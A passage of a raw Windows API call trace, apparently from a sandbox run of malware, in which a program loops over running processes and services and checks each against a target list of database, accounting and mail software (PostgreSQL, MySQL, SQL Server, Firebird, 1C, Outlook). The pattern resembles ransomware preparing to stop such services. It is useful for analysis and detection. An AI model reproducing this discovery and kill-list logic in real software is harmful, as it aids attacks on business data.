th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0204.872] lstrlenW (lpString="explorer.exe") returned 12 [0204.872] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0204.872] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0204.872] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0204.872] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0204.872] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0204.873] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0204.873] lstrlenW (lpString="dwm.exe") returned 7 [0204.874] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.874] lstrlenW (lpString="svchost.exe") returned 11 [0204.875] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0204.875] lstrlenW (lpString="winhost.exe") returned 11 [0204.875] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0204.876] lstrlenW (lpString="spoolsv.exe") returned 11 [0204.876] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0204.877] lstrlenW (lpString="dllhost.exe") returned 11 [0204.877] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.878] lstrlenW (lpString="svchost.exe") returned 11 [0204.878] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0204.879] lstrlenW (lpString="taskhost.exe") returned 12 [0204.879] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0204.880] lstrlenW (lpString="cmd.exe") returned 7 [0204.880] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0204.881] lstrlenW (lpString="reader_sl.exe") returned 13 [0204.881] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0204.882] lstrlenW (lpString="AdobeARM.exe") returned 12 [0204.882] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0204.883] lstrlenW (lpString="conhost.exe") returned 11 [0204.883] Process32NextW (in: hSnapshot=0x138, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0204.884] CloseHandle (hObject=0x138) returned 1 [0204.884] Sleep (dwMilliseconds=0x1f4) [0205.814] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6404a0 [0205.816] EnumServicesStatusExW (in: hSCManager=0x6404a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0205.819] GetLastError () returned 0xea [0205.819] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa08) returned 0x5e6860 [0205.819] EnumServicesStatusExW (in: hSCManager=0x6404a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e6860, cbBufSize=0xa08, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e6860, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0205.821] CloseServiceHandle (hSCObject=0x6404a0) returned 1 [0205.822] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0205.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0205.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0205.823] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0205.823] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0205.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0205.823] lstrlenW (lpString="AudioSrv") returned 8 [0205.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0205.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0205.823] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0205.823] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0205.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0205.823] lstrlenW (lpString="BFE") returned 3 [0205.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0205.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0205.824] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0205.824] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0205.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0205.824] lstrlenW (lpString="CscService") returned 10 [0205.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0205.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0205.824] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0205.824] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0205.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0205.824] lstrlenW (lpString="DcomLaunch") returned 10 [0205.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0205.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0205.824] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0205.825] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0205.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0205.825] lstrlenW (lpString="Dhcp") returned 4 [0205.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0205.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0205.825] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0205.825] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0205.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0205.825] lstrlenW (lpString="Dnscache") returned 8 [0205.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0205.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0205.825] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0205.825] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0205.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0205.826] lstrlenW (lpString="eventlog") returned 8 [0205.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0205.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0205.826] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0205.826] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0205.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0205.826] lstrlenW (lpString="EventSystem") returned 11 [0205.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0205.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0205.826] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0205.826] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0205.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0205.826] lstrlenW (lpString="gpsvc") returned 5 [0205.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0205.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0205.827] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0205.827] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0205.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0205.827] lstrlenW (lpString="lmhosts") returned 7 [0205.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0205.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0205.827] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0205.827] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0205.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0205.827] lstrlenW (lpString="MMCSS") returned 5 [0205.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0205.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0205.828] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0205.828] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0205.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0205.828] lstrlenW (lpString="nsi") returned 3 [0205.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0205.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0205.828] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0205.828] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0205.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0205.828] lstrlenW (lpString="PlugPlay") returned 8 [0205.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0205.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0205.828] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0205.829] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0205.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0205.829] lstrlenW (lpString="Power") returned 5 [0205.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0205.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0205.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0205.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0205.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0205.829] lstrlenW (lpString="ProfSvc") returned 7 [0205.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0205.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0205.829] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0205.829] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0205.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0205.830] lstrlenW (lpString="RpcEptMapper") returned 12 [0205.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0205.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0205.830] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0205.830] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0205.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0205.830] lstrlenW (lpString="RpcSs") returned 5 [0205.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0205.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0205.830] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0205.830] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0205.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0205.831] lstrlenW (lpString="SamSs") returned 5 [0205.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0205.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0205.831] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0205.831] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0205.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0205.831] lstrlenW (lpString="Schedule") returned 8 [0205.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0205.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0205.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0205.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0205.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0205.831] lstrlenW (lpString="SENS") returned 4 [0205.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0205.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0205.832] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0205.832] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0205.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0205.832] lstrlenW (lpString="ShellHWDetection") returned 16 [0205.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0205.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0205.832] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0205.832] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0205.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0205.832] lstrlenW (lpString="Spooler") returned 7 [0205.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0205.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0205.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0205.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0205.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0205.833] lstrlenW (lpString="Themes") returned 6 [0205.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0205.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0205.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0205.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0205.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0205.834] lstrlenW (lpString="UxSms") returned 5 [0205.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0205.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0205.834] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0205.834] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0205.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0205.834] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5e6860 | out: hHeap=0x590000) returned 1 [0205.834] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x188 [0205.839] Process32FirstW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.840] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0205.841] lstrlenW (lpString="System") returned 6 [0205.841] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0205.841] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0205.841] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0205.841] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0205.841] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0205.841] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0205.841] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0205.841] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0205.842] lstrlenW (lpString="smss.exe") returned 8 [0205.842] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0205.842] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0205.842] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0205.842] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0205.843] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0205.843] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0205.843] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0205.843] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0205.844] lstrlenW (lpString="csrss.exe") returned 9 [0205.844] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0205.844] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0205.844] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0205.844] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0205.844] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0205.844] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0205.844] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0205.844] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0205.845] lstrlenW (lpString="wininit.exe") returned 11 [0205.845] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0205.845] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0205.845] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0205.845] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0205.845] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0205.846] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0205.846] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0205.846] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0205.847] lstrlenW (lpString="csrss.exe") returned 9 [0205.847] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0205.847] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0205.847] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0205.847] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0205.847] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0205.847] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0205.847] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0205.847] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0205.848] lstrlenW (lpString="winlogon.exe") returned 12 [0205.848] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0205.848] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0205.848] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0205.848] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0205.848] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0205.849] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0205.849] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0205.849] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0205.850] lstrlenW (lpString="services.exe") returned 12 [0205.850] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0205.850] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0205.850] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0205.850] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0205.850] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0205.850] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0205.850] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0205.850] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0205.851] lstrlenW (lpString="lsass.exe") returned 9 [0205.851] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0205.851] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0205.851] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0205.852] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0205.852] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0205.852] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0205.852] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0205.852] Process32NextW (in: hSnapshot=0x188, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0205.853] lstrlenW (lpString="lsm.exe") returned 7 [0205.853] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0205.853] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0205.853] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0205.853] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0205.853] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0205.853] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0205.853] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0205.853] Process32NextW (in: 